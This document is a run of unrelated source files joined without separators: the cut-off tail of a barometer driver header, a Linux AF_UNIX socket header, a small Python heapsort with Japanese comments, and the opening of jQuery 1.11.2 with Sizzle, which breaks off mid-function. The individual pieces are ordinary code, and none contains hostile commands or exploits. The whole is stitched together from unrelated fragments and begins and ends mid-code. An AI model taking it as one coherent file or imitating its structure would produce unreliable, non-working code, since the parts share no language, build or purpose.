"drv_orb_dev.h" #define BARO_BASE_DEVICE_PATH "/dev/baro" #define BARO0_DEVICE_PATH "/dev/baro0" /** * baro report structure. Reads from the device must be in multiples of this * structure. */ struct baro_report { float pressure; float altitude; float temperature; uint64_t timestamp; uint64_t error_count; }; /* * ObjDev tag for raw barometer data. */ ORB_DECLARE(sensor_baro); /* * ioctl() definitions */ #define _BAROIOCBASE (0x2200) #define _BAROIOC(_n) (_IOC(_BAROIOCBASE, _n)) /** set corrected MSL pressure in pascals */ #define BAROIOCSMSLPRESSURE _BAROIOC(0) /** get current MSL pressure in pascals */ #define BAROIOCGMSLPRESSURE _BAROIOC(1) #endif /* _DRV_BARO_H */
#ifndef __LINUX_NET_AFUNIX_H #define __LINUX_NET_AFUNIX_H #include <linux/socket.h> #include <linux/un.h> #include <linux/mutex.h> #include <net/sock.h> extern void unix_inflight(struct file *fp); extern void unix_notinflight(struct file *fp); extern void unix_gc(void); #define UNIX_HASH_SIZE 256 extern struct hlist_head unix_socket_table[UNIX_HASH_SIZE + 1]; extern spinlock_t unix_table_lock; extern atomic_t unix_tot_inflight; static inline struct sock *first_unix_socket(int *i) { for (*i = 0; *i <= UNIX_HASH_SIZE; (*i)++) { if (!hlist_empty(&unix_socket_table[*i])) return __sk_head(&unix_socket_table[*i]); } return NULL; } static inline struct sock *next_unix_socket(int *i, struct sock *s) { struct sock *next = sk_next(s); /* More in this chain? */ if (next) return next; /* Look for next non-empty chain. */ for ((*i)++; *i <= UNIX_HASH_SIZE; (*i)++) { if (!hlist_empty(&unix_socket_table[*i])) return __sk_head(&unix_socket_table[*i]); } return NULL; } #define forall_unix_sockets(i, s) \ for (s = first_unix_socket(&(i)); s; s = next_unix_socket(&(i),(s))) struct unix_address { atomic_t refcnt; int len; unsigned hash; struct sockaddr_un name[0]; }; struct unix_skb_parms { struct ucred creds; /* Skb credentials */ struct scm_fp_list *fp; /* Passed files */ #ifdef CONFIG_SECURITY_NETWORK u32 secid; /* Security ID */ #endif }; #define UNIXCB(skb) (*(struct unix_skb_parms*)&((skb)->cb)) #define UNIXCREDS(skb) (&UNIXCB((skb)).creds) #define UNIXSID(skb) (&UNIXCB((skb)).secid) #define unix_state_lock(s) spin_lock(&unix_sk(s)->lock) #define unix_state_unlock(s) spin_unlock(&unix_sk(s)->lock) #define unix_state_lock_nested(s) \ spin_lock_nested(&unix_sk(s)->lock, \ SINGLE_DEPTH_NESTING) #ifdef __KERNEL__ /* The AF_UNIX socket */ struct unix_sock { /* WARNING: sk has to be the first member */ struct sock sk; struct unix_address *addr; struct dentry *dentry; struct vfsmount *mnt; struct mutex readlock; struct sock *peer; struct sock *other; struct sock *gc_tree; atomic_t inflight; spinlock_t lock; wait_queue_head_t peer_wait; }; #define unix_sk(__sk) ((struct unix_sock *)__sk) #ifdef CONFIG_SYSCTL extern int sysctl_unix_max_dgram_qlen; extern void unix_sysctl_register(void); extern void unix_sysctl_unregister(void); #else static inline void unix_sysctl_register(void) {} static inline void unix_sysctl_unregister(void) {} #endif #endif #endif
# ヒープソート(2分ヒープ) # ヒープソートはheapqモジュールを使うと簡単に実装できる # https://docs.python.org/ja/3/library/heapq.html import heapq # arr:配列 def heapSort(arr): srt = [] for elm in arr: # 1つずつpushして heapq.heappush(srt, elm) # print(str(srt)) # 1つずつpopする return [heapq.heappop(srt) for i in range(len(srt))] # テスト print(heapSort([8, 6, 1, 4, 2])) print(heapSort([3, 6, 1, 4, 2]))
/*! * jQuery JavaScript Library v1.11.2 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2014-12-17T15:27Z */ (function( global, factory ) { if ( typeof module === "object" && typeof module.exports === "object" ) { // For CommonJS and CommonJS-like environments where a proper window is present, // execute the factory and get jQuery // For environments that do not inherently posses a window with a document // (such as Node.js), expose a jQuery-making factory as module.exports // This accentuates the need for the creation of a real window // e.g. var jQuery = require("jquery")(window); // See ticket #14549 for more info module.exports = global.document ? factory( global, true ) : function( w ) { if ( !w.document ) { throw new Error( "jQuery requires a window with a document" ); } return factory( w ); }; } else { factory( global ); } // Pass this if window is not defined yet }(typeof window !== "undefined" ? window : this, function( window, noGlobal ) { // Can't do this because several apps including ASP.NET trace // the stack via arguments.caller.callee and Firefox dies if // you try to trace through "use strict" call chains. (#13335) // Support: Firefox 18+ // var deletedIds = []; var slice = deletedIds.slice; var concat = deletedIds.concat; var push = deletedIds.push; var indexOf = deletedIds.indexOf; var class2type = {}; var toString = class2type.toString; var hasOwn = class2type.hasOwnProperty; var support = {}; var version = "1.11.2", // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' // Need init if jQuery is called (just allow error to be thrown if not included) return new jQuery.fn.init( selector, context ); }, // Support: Android<4.1, IE<9 // Make sure we trim BOM and NBSP rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, // Matches dashed string for camelizing rmsPrefix = /^-ms-/, rdashAlpha = /-([\da-z])/gi, // Used by jQuery.camelCase as callback to replace() fcamelCase = function( all, letter ) { return letter.toUpperCase(); }; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: version, constructor: jQuery, // Start with an empty selector selector: "", // The default length of a jQuery object is 0 length: 0, toArray: function() { return slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num != null ? // Return just the one element from the set ( num < 0 ? this[ num + this.length ] : this[ num ] ) : // Return all the elements in a clean array slice.call( this ); }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; ret.context = this.context; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. // (You can seed the arguments with an array of args, but this is // only used internally.) each: function( callback, args ) { return jQuery.each( this, callback, args ); }, map: function( callback ) { return this.pushStack( jQuery.map(this, function( elem, i ) { return callback.call( elem, i, elem ); })); }, slice: function() { return this.pushStack( slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] ); }, end: function() { return this.prevObject || this.constructor(null); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: push, sort: deletedIds.sort, splice: deletedIds.splice }; jQuery.extend = jQuery.fn.extend = function() { var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; // skip the boolean and the target target = arguments[ i ] || {}; i++; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !jQuery.isFunction(target) ) { target = {}; } // extend jQuery itself if only one argument is passed if ( i === length ) { target = this; i--; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( (options = arguments[ i ]) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && jQuery.isArray(src) ? src : []; } else { clone = src && jQuery.isPlainObject(src) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend({ // Unique for each copy of jQuery on the page expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), // Assume jQuery is ready without the ready module isReady: true, error: function( msg ) { throw new Error( msg ); }, noop: function() {}, // See test/unit/core.js for details concerning isFunction. // Since version 1.3, DOM methods and functions like alert // aren't supported. They return false on IE (#2968). isFunction: function( obj ) { return jQuery.type(obj) === "function"; }, isArray: Array.isArray || function( obj ) { return jQuery.type(obj) === "array"; }, isWindow: function( obj ) { /* jshint eqeqeq: false */ return obj != null && obj == obj.window; }, isNumeric: function( obj ) { // parseFloat NaNs numeric-cast false positives (null|true|false|"") // ...but misinterprets leading-number strings, particularly hex literals ("0x...") // subtraction forces infinities to NaN // adding 1 corrects loss of precision from parseFloat (#15100) return !jQuery.isArray( obj ) && (obj - parseFloat( obj ) + 1) >= 0; }, isEmptyObject: function( obj ) { var name; for ( name in obj ) { return false; } return true; }, isPlainObject: function( obj ) { var key; // Must be an Object. // Because of IE, we also have to check the presence of the constructor property. // Make sure that DOM nodes and window objects don't pass through, as well if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { return false; } try { // Not own constructor property must be Object if ( obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) { return false; } } catch ( e ) { // IE8,9 Will throw exceptions on certain host objects #9897 return false; } // Support: IE<9 // Handle iteration over inherited properties before own properties. if ( support.ownLast ) { for ( key in obj ) { return hasOwn.call( obj, key ); } } // Own properties are enumerated firstly, so to speed up, // if last one is own, then all properties are own. for ( key in obj ) {} return key === undefined || hasOwn.call( obj, key ); }, type: function( obj ) { if ( obj == null ) { return obj + ""; } return typeof obj === "object" || typeof obj === "function" ? class2type[ toString.call(obj) ] || "object" : typeof obj; }, // Evaluates a script in a global context // Workarounds based on findings by Jim Driscoll // http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context globalEval: function( data ) { if ( data && jQuery.trim( data ) ) { // We use execScript on Internet Explorer // We use an anonymous function so that context is window // rather than jQuery in Firefox ( window.execScript || function( data ) { window[ "eval" ].call( window, data ); } )( data ); } }, // Convert dashed to camelCase; used by the css and data modules // Microsoft forgot to hump their vendor prefix (#9572) camelCase: function( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); }, nodeName: function( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, // args is for internal usage only each: function( obj, callback, args ) { var value, i = 0, length = obj.length, isArray = isArraylike( obj ); if ( args ) { if ( isArray ) { for ( ; i < length; i++ ) { value = callback.apply( obj[ i ], args ); if ( value === false ) { break; } } } else { for ( i in obj ) { value = callback.apply( obj[ i ], args ); if ( value === false ) { break; } } } // A special, fast, case for the most common use of each } else { if ( isArray ) { for ( ; i < length; i++ ) { value = callback.call( obj[ i ], i, obj[ i ] ); if ( value === false ) { break; } } } else { for ( i in obj ) { value = callback.call( obj[ i ], i, obj[ i ] ); if ( value === false ) { break; } } } } return obj; }, // Support: Android<4.1, IE<9 trim: function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "" ); }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArraylike( Object(arr) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { var len; if ( arr ) { if ( indexOf ) { return indexOf.call( arr, elem, i ); } len = arr.length; i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0; for ( ; i < len; i++ ) { // Skip accessing in sparse arrays if ( i in arr && arr[ i ] === elem ) { return i; } } } return -1; }, merge: function( first, second ) { var len = +second.length, j = 0, i = first.length; while ( j < len ) { first[ i++ ] = second[ j++ ]; } // Support: IE<9 // Workaround casting of .length to NaN on otherwise arraylike objects (e.g., NodeLists) if ( len !== len ) { while ( second[j] !== undefined ) { first[ i++ ] = second[ j++ ]; } } first.length = i; return first; }, grep: function( elems, callback, invert ) { var callbackInverse, matches = [], i = 0, length = elems.length, callbackExpect = !invert; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { callbackInverse = !callback( elems[ i ], i ); if ( callbackInverse !== callbackExpect ) { matches.push( elems[ i ] ); } } return matches; }, // arg is for internal usage only map: function( elems, callback, arg ) { var value, i = 0, length = elems.length, isArray = isArraylike( elems ), ret = []; // Go through the array, translating each of the items to their new values if ( isArray ) { for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } } // Flatten any nested arrays return concat.apply( [], ret ); }, // A global GUID counter for objects guid: 1, // Bind a function to a context, optionally partially applying any // arguments. proxy: function( fn, context ) { var args, proxy, tmp; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !jQuery.isFunction( fn ) ) { return undefined; } // Simulated bind args = slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }, now: function() { return +( new Date() ); }, // jQuery.support is not used in Core but other projects attach their // properties to it so it needs to exist. support: support }); // Populate the class2type map jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); }); function isArraylike( obj ) { var length = obj.length, type = jQuery.type( obj ); if ( type === "function" || jQuery.isWindow( obj ) ) { return false; } if ( obj.nodeType === 1 && length ) { return true; } return type === "array" || length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj; } var Sizzle = /*! * Sizzle CSS Selector Engine v2.2.0-pre * http://sizzlejs.com/ * * Copyright 2008, 2014 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2014-12-16 */ (function( window ) { var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, // Local document vars setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, // Instance-specific data expando = "sizzle" + 1 * new Date(), preferredDoc = window.document, dirruns = 0, done = 0, classCache = createCache(), tokenCache = createCache(), compilerCache = createCache(), sortOrder = function( a, b ) { if ( a === b ) { hasDuplicate = true; } return 0; }, // General-purpose constants MAX_NEGATIVE = 1 << 31, // Instance methods hasOwn = ({}).hasOwnProperty, arr = [], pop = arr.pop, push_native = arr.push, push = arr.push, slice = arr.slice, // Use a stripped-down indexOf as it's faster than native // http://jsperf.com/thor-indexof-vs-for/5 indexOf = function( list, elem ) { var i = 0, len = list.length; for ( ; i < len; i++ ) { if ( list[i] === elem ) { return i; } } return -1; }, booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", // Regular expressions // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace whitespace = "[\\x20\\t\\r\\n\\f]", // http://www.w3.org/TR/css3-syntax/#characters characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", // Loosely modeled on CSS identifier characters // An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier identifier = characterEncoding.replace( "w", "w#" ), // Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + // Operator (capture 2) "*([*^$|!~]?=)" + whitespace + // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]" "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]", pseudos = ":(" + characterEncoding + ")(?:\\((" + // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: // 1. quoted (capture 3; capture 4 or capture 5) "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + // 2. simple (capture 6) "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + // 3. anything else (capture 2) ".*" + ")\\)|)", // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter rwhitespace = new RegExp( whitespace + "+", "g" ), rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ), rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ), rpseudo = new RegExp( pseudos ), ridentifier = new RegExp( "^" + identifier + "$" ), matchExpr = { "ID": new RegExp( "^#(" + characterEncoding + ")" ), "CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ), "TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ), "ATTR": new RegExp( "^" + attributes ), "PSEUDO": new RegExp( "^" + pseudos ), "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), "bool": new RegExp( "^(?:" + booleans + ")$", "i" ), // For use in libraries implementing .is() // We use this for POS matching in `select` "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) }, rinputs = /^(?:input|select|textarea|button)$/i, rheader = /^h\d$/i, rnative = /^[^{]+\{\s*\[native \w/, // Easily-parseable/retrievable ID or TAG or CLASS selectors rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, rsibling = /[+~]/, rescape = /'|\\/g, // CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ), funescape = function( _, escaped, escapedWhitespace ) { var high = "0x" + escaped - 0x10000; // NaN means non-codepoint // Support: Firefox<24 // Workaround erroneous numeric interpretation of +"0x" return high !== high || escapedWhitespace ? escaped : high < 0 ? // BMP codepoint String.fromCharCode( high + 0x10000 ) : // Supplemental Plane codepoint (surrogate pair) String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); }, // Used for iframes // See setDocument() // Removing the function wrapper causes a "Permission Denied" // error in IE unloadHandler = function() { setDocument(); }; // Optimize for push.apply( _, NodeList ) try { push.apply( (arr = slice.call( preferredDoc.childNodes )), preferredDoc.childNodes ); // Support: Android<4.0 // Detect silently failing push.apply arr[ preferredDoc.childNodes.length ].nodeType; } catch ( e ) { push = { apply: arr.length ? // Leverage slice if possible function( target, els ) { push_native.apply( target, slice.call(els) ); } : // Support: IE<9 // Otherwise append directly function( target, els ) { var j = target.length, i = 0; // Can't trust NodeList.length while ( (target[j++] = els[i++]) ) {} target.length = j - 1; } }; } function Sizzle( selector, context, results, seed ) { var match, elem, m, nodeType, // QSA vars i, groups, old, nid, newContext, newSelector; if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) { setDocument( context ); } context = context || document; results = results || []; nodeType = context.nodeType; if ( typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { return results; } if ( !seed && documentIsHTML ) { // Try to shortcut find operations when possible (e.g., not under DocumentFragment) if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) { // Speed-up: Sizzle("#ID") if ( (m = match[1]) ) { if ( nodeType === 9 ) { elem = context.getElementById( m ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document (jQuery #6963) if ( elem && elem.parentNode ) { // Handle the case where IE, Opera, and Webkit return items // by name instead of ID if ( elem.id === m ) { results.push( elem ); return results; } } else { return results; } } else { // Context is not a document if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) && contains( context, elem ) && elem.id === m ) { results.push( elem ); return results; } } // Speed-up: Sizzle("TAG") } else if ( match[2] ) { push.apply( results, context.getElementsByTagName( selector ) ); return results; // Speed-up: Sizzle(".CLASS") } else if ( (m = match[3]) && support.getElementsByClassName ) { push.apply( results, context.getElementsByClassName( m ) ); return results; } } // QSA path if ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) { nid = old = expando; newContext = context; newSelector = nodeType !== 1 && selector; // qSA works strangely on Element-rooted queries // We can work around this by specifying an extra ID on the root // and working up from there (Thanks to Andrew Dupont for the technique) // IE 8 doesn't work on object elements if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { groups = tokenize( selector ); if ( (old = context.getAttribute("id")) ) { nid = old.replace( rescape, "\\$&" ); } else { context.setAttribute( "id", nid ); } nid = "[id='" + nid + "'] "; i = groups.length; while ( i-- ) { groups[i] = nid + toSelector( groups[i] ); } newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context; newSelector = groups.join(","); } if ( newSelector ) { try { push.apply( results, newContext.querySelectorAll( newSelector ) ); return results; } catch(qsaError) { } finally { if ( !old ) { context.removeAttribute("id"); } } } } } // All others return select( selector.replace( rtrim, "$1" ), context, results, seed ); } /** * Create key-value caches of limited size * @returns {Function(string, Object)} Returns the Object data after storing it on itself with * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) * deleting the oldest entry */ function createCache() { var keys = []; function cache( key, value ) { // Use (key + " ") to avoid collision with native prototype properties (see Issue #157) if ( keys.push( key + " " ) > Expr.cacheLength ) { // Only keep the most recent entries delete cache[ keys.shift() ]; } return (cache[ key + " " ] = value); } return cache; } /** * Mark a function for special use by Sizzle * @param {Function} fn The function to mark */ function markFunction( fn ) { fn[ expando ] = true; return fn; } /** * Support testing using an element * @param {Function} fn Passed the created div and expects a boolean result */ function assert( fn ) { var div = document.createElement("div"); try { return !!fn( div ); } catch (e) { return false; } finally { // Remove from its parent by default if ( div.parentNode ) { div.parentNode.removeChild( div ); } // release memory in IE div = null; } } /** * Adds the same handler for all of the specified attrs * @param {String} attrs Pipe-separated list of attributes * @param {Function} handler The method that will be applied */ function addHandle( attrs, handler ) { var arr = attrs.split("|"), i = attrs.length; while ( i-- ) { Expr.attrHandle[ arr[i] ] = handler; } } /** * Checks document order of two siblings * @param {Element} a * @param {Element} b * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b */ function siblingCheck( a, b ) { var cur = b && a, diff = cur && a.nodeType === 1 && b.nodeType === 1 && ( ~b.sourceIndex || MAX_NEGATIVE ) - ( ~a.sourceIndex || MAX_NEGATIVE ); // Use IE sourceIndex if available on both nodes if ( diff ) { return diff; } // Check if b follows a if ( cur ) { while ( (cur = cur.nextSibling) ) { if ( cur === b ) { return -1; } } } return a ? 1 : -1; } /** * Returns a function to use in pseudos for input types * @param {String} type */ function createInputPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === type; }; } /** * Returns a function to use in pseudos for buttons * @param {String} type */ function createButtonPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return (name === "input" || name === "button") && elem.type === type; }; } /** * Returns a function to use in pseudos for positionals * @param {Function} fn */ function createPositionalPseudo( fn ) { return markFunction(function( argument ) { argument = +argument; return markFunction(function( seed, matches ) { var j, matchIndexes = fn( [], seed.length, argument ), i = matchIndexes.length; // Match elements found at the specified indexes while ( i-- ) { if ( seed[ (j = matchIndexes[i]) ] ) { seed[j] = !(matches[j] = seed[j]); } } }); }); } /** * Checks a node for validity as a Sizzle context * @param {Element|Object=} context * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value */ function testContext( context ) { return context && typeof context.getElementsByTagName !== "undefined" && context; } // Expose support vars for convenience support = Sizzle.support = {}; /** * Detects XML nodes * @param {Element|Object} elem An element or a document * @returns {Boolean} True iff elem is a non-HTML XML node */ isXML = Sizzle.isXML = function( elem ) { // documentElement is verified for cases where it doesn't yet exist // (such as loading iframes in IE - #4833) var documentElement = elem && (elem.ownerDocument || elem).documentElement; return documentElement ? documentElement.nodeName !== "HTML" : false; }; /** * Sets document-related variables once based on the current document * @param {Element|Object} [doc] An element or document object to use to set the document * @returns {Object} Returns the current document */ setDocument = Sizzle.setDocument = function( node ) { var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc; // If no document and documentElement is available, return if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) { return document; } // Set our document document = doc; docElem = doc.documentElement; parent = doc.defaultView; // Support: IE>8 // If iframe document is assigned to "document" variable and if iframe has been reloaded, // IE will throw "permission denied" error when accessing "document" variable, see jQuery #13936 // IE6-8 do not support the defaultView property so parent will be undefined if ( parent && parent !== parent.top ) { // IE11 does not have attachEvent, so all must suffer if ( parent.addEventListener ) { parent.addEventListener( "unload", unloadHandler, false ); } else if ( parent.attachEvent ) { parent.attachEvent( "onunload", unloadHandler ); } } /* Support tests ---------------------------------------------------------------------- */ documentIsHTML = !isXML( doc ); /* Attributes ---------------------------------------------------------------------- */ // Support: IE<8 // Verify that getAttribute really returns attributes and not properties // (excepting IE8 booleans) support.attributes = assert(function( div ) { div.className = "i"; return !div.getAttribute("className"); }); /* getElement(s)By* ---------------------------------------------------------------------- */ // Check if getElementsByTagName("*") returns only elements support.getElementsByTagName = assert(function( div ) { div.appendChild( doc.createComment("") ); return !div.getElementsByTagName("*").length; }); // Support: IE<9 support.getElementsByClassName = rnative.test( doc.getElementsByClassName ); // Support: IE<10 // Check if getElementById returns elements by name // The broken getElementById methods don't pick up programatically-set names, // so use a roundabout getElementsByName test support.getById = assert(function( div ) { docElem.appendChild( div ).id = expando; return !doc.getElementsByName || !doc.getElementsByName( expando ).length; }); // ID find and filter if ( support.getById ) { Expr.find["ID"] = function( id, context ) { if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { var m = context.getElementById( id ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 return m && m.parentNode ? [ m ] : []; } }; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { return elem.getAttribute("id") === attrId; }; }; } else { // Support: IE6/7 // getElementById is not reliable as a find shortcut delete Expr.find["ID"]; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); return node && node.value === attrId; }; }; } // Tag Expr.find["TAG"] = support.getElementsByTagName ? function( tag, context ) { if ( typeof context.getElementsByTagName !== "undefined" ) { return context.getElementsByTagName( tag ); // DocumentFragment nodes don't have gEBTN } else if ( support.qsa ) { return context.querySelectorAll( tag ); } } : function( tag, context ) { var elem, tmp = [], i = 0, // By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag ); // Filter out possible comments if ( tag === "*" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); } } return tmp; } return results; }; // Class Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) { if ( documentIsHTML ) { return context.getElementsByClassName( className ); } }; /* QSA/matchesSelector ---------------------------------------------------------------------- */ // QSA and matchesSelector support // matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = []; // qSa(:focus) reports false when true (Chrome 21) // We allow this because of a bug in IE8/9 that throws an error // whenever `document.activeElement` is accessed on an iframe // So, we allow :focus to pass through QSA all the time to avoid the IE error // See http://bugs.jquery.com/ticket/13378 rbuggyQSA = []; if ( (support.qsa = rnative.test( doc.querySelectorAll )) ) { // Build QSA regex // Regex strategy adopted from Diego Perini assert(function( div ) { // Select is set to empty string on purpose // This is to test IE's treatment of not explicitly // setting a boolean content attribute, // since its presence should be enough // http://bugs.jquery.com/ticket/12359 docElem.appendChild( div ).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>"; // Support: IE8, Opera 11-12.16 // Nothing should be selected when empty strings follow ^= or $= or *= // The test attribute must be unknown in Opera but "safe" for WinRT // http://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( div.querySelectorAll("[msallowcapture^='']").length ) { rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" ); } // Support: IE8 // Boolean attributes and "value" are not treated correctly if ( !div.querySelectorAll("[selected]").length ) { rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); } // Support: Chrome<29, Android<4.2+, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.7+ if ( !div.querySelectorAll( "[id~=" + expando + "-]" ).length ) { rbuggyQSA.push("~="); } // Webkit/Opera - :checked should return selected option elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked // IE8 throws error here and will not see later tests if ( !div.querySelectorAll(":checked").length ) { rbuggyQSA.push(":checked"); } // Support: Safari 8+, iOS 8+ // https://bugs.webkit.org/show_bug.cgi?id=136851 // In-page `selector#id sibing-combinator selector` fails if ( !div.querySelectorAll( "a#" + expando + "+*" ).length ) { rbuggyQSA.push(".#.+[+~]"); } }); assert(function( div ) { // Support: Windows 8 Native Apps // The type and name attributes are restricted during .innerHTML assignment var input = doc.createElement("input"); input.setAttribute( "type", "hidden" ); div.appendChild( input ).setAttribute( "name", "D" ); // Support: IE8 // Enforce case-sensitivity of name attribute if ( div.querySelectorAll("[name=d]").length ) { rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" ); } // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) // IE8 throws error here and will not see later tests if ( !div.querySelectorAll(":enabled").length ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Opera 10-11 does not throw on post-comma invalid pseudos div.querySelectorAll("*,:x"); 